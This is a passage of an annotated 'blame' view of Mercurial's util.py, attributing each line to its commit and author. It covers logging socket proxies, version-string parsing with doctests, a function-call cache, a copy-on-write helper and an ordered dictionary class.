37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1055
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1056 def settimeout(self, res, value):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1057 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1058 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1059
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1060 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1061
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1062 def gettimeout(self, res):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1063 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1064 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1065
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1066 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1067
39097 ed8160e4fea0 util: fix signature of setsockopt in socket observer Augie Fackler <augie@google.com> parents: 38852 diff changeset	1068 def setsockopt(self, res, level, optname, value):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1069 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1070 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1071
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1072 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1073 b'%s> setsockopt(%r, %r, %r) -> %r\n'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1074 % (self.name, level, optname, value, res)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1075 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1076
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1077
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1078 def makeloggingsocket(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1079 logh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1080 fh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1081 name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1082 reads=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1083 writes=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1084 states=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1085 logdata=False,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1086 logdataapis=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1087 ):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1088 """Turn a socket into a logging socket."""
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1089
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1090 observer = socketobserver(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1091 logh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1092 name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1093 reads=reads,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1094 writes=writes,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1095 states=states,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1096 logdata=logdata,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1097 logdataapis=logdataapis,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1098 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1099 return socketproxy(fh, observer)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1100
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1101
7632 9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1102 def version():
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1103 """Return version information if available."""
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1104 try:
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	1105 from . import __version__
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1106
7632 9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1107 return __version__.version
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1108 except ImportError:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1109 return b'unknown'
7632 9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1110
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1111
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1112 def versiontuple(v=None, n=4):
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1113 """Parses a Mercurial version string into an N-tuple.
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1114
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1115 The version string to be parsed is specified with the ``v`` argument.
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1116 If it isn't defined, the current Mercurial version string will be parsed.
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1117
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1118 ``n`` can be 2, 3, or 4. Here is how some version strings map to
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1119 returned values:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1120
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1121 >>> v = b'3.6.1+190-df9b73d2d444'
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1122 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1123 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1124 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1125 (3, 6, 1)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1126 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1127 (3, 6, 1, '190-df9b73d2d444')
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1128
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1129 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1130 (3, 6, 1, '190-df9b73d2d444+20151118')
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1131
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1132 >>> v = b'3.6'
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1133 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1134 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1135 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1136 (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1137 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1138 (3, 6, None, None)
29613 616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1139
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1140 >>> v = b'3.9-rc'
29613 616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1141 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1142 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1143 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1144 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1145 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1146 (3, 9, None, 'rc')
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1147
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1148 >>> v = b'3.9-rc+2-02a8fea4289b'
29613 616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1149 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1150 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1151 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1152 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1153 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1154 (3, 9, None, 'rc+2-02a8fea4289b')
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1155
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1156 >>> versiontuple(b'4.6rc0')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1157 (4, 6, None, 'rc0')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1158 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1159 (4, 6, None, 'rc0+12-425d55e54f98')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1160 >>> versiontuple(b'.1.2.3')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1161 (None, None, None, '.1.2.3')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1162 >>> versiontuple(b'12.34..5')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1163 (12, 34, None, '..5')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1164 >>> versiontuple(b'1.2.3.4.5.6')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1165 (1, 2, 3, '.4.5.6')
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1166 """
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1167 if not v:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1168 v = version()
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1169 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1170 if not m:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1171 vparts, extra = b'', v
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1172 elif m.group(2):
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1173 vparts, extra = m.groups()
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1174 else:
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1175 vparts, extra = m.group(1), None
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1176
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1177 vints = []
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1178 for i in vparts.split(b'.'):
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1179 try:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1180 vints.append(int(i))
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1181 except ValueError:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1182 break
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1183 # (3, 6) -> (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1184 while len(vints) < 3:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1185 vints.append(None)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1186
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1187 if n == 2:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1188 return (vints[0], vints[1])
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1189 if n == 3:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1190 return (vints[0], vints[1], vints[2])
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1191 if n == 4:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1192 return (vints[0], vints[1], vints[2], extra)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1193
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1194
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1195 def cachefunc(func):
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1196 '''cache the result of function calls'''
3147 97420a49188d add comments in cachefunc Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 3145 diff changeset	1197 # XXX doesn't handle keywords args
28832 f5ff10f6fa6b util: use __code__ (available since py2.6) timeless <timeless@mozdev.org> parents: 28826 diff changeset	1198 if func.__code__.co_argcount == 0:
20835 0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1199 cache = []
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1200
20835 0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1201 def f():
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1202 if len(cache) == 0:
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1203 cache.append(func())
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1204 return cache[0]
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1205
20835 0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1206 return f
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1207 cache = {}
28832 f5ff10f6fa6b util: use __code__ (available since py2.6) timeless <timeless@mozdev.org> parents: 28826 diff changeset	1208 if func.__code__.co_argcount == 1:
3147 97420a49188d add comments in cachefunc Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 3145 diff changeset	1209 # we gain a small amount of time because
97420a49188d add comments in cachefunc Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 3145 diff changeset	1210 # we don't need to pack/unpack the list
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1211 def f(arg):
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1212 if arg not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1213 cache[arg] = func(arg)
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1214 return cache[arg]
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1215
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1216 else:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1217
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1218 def f(*args):
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1219 if args not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1220 cache[args] = func(*args)
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1221 return cache[args]
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1222
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1223 return f
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1224
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1225
34358 c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1226 class cow(object):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1227 """helper class to make copy-on-write easier
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1228
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1229 Call preparewrite before doing any writes.
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1230 """
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1231
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1232 def preparewrite(self):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1233 """call this before writes, return self or a copied new object"""
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1234 if getattr(self, '_copied', 0):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1235 self._copied -= 1
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1236 return self.__class__(self)
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1237 return self
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1238
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1239 def copy(self):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1240 """always do a cheap copy"""
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1241 self._copied = getattr(self, '_copied', 0) + 1
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1242 return self
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1243
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1244
32340 bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1245 class sortdict(collections.OrderedDict):
32346 2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1246 '''a simple sorted dictionary
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1247
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1248 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
32346 2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1249 >>> d2 = d1.copy()
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1250 >>> d2
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1251 sortdict([('a', 0), ('b', 1)])
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1252 >>> d2.update([(b'a', 2)])
34154 be00af4a1ac5 doctest: coerce dict.keys() to list Yuya Nishihara <yuya@tcha.org> parents: 34152 diff changeset	1253 >>> list(d2.keys()) # should still be in last-set order
32346 2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1254 ['b', 'a']
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1255 '''
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1256
32340 bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1257 def __setitem__(self, key, value):
21813 c2262004c2e2 config: move config.sortdict class into util Angel Ezquerra <angel.ezquerra@gmail.com> parents: 21046 diff changeset	1258 if key in self:
32340 bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1259 del self[key]
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1260 super(sortdict, self).__setitem__(key, value)
21813 c2262004c2e2 config: move config.sortdict class into util Angel Ezquerra <angel.ezquerra@gmail.com> parents: 21046 diff changeset	1261
33624 524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1262 if pycompat.ispypy:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1263 # __setitem__() isn't called as of PyPy 5.8.0
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1264 def update(self, src):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1265 if isinstance(src, dict):
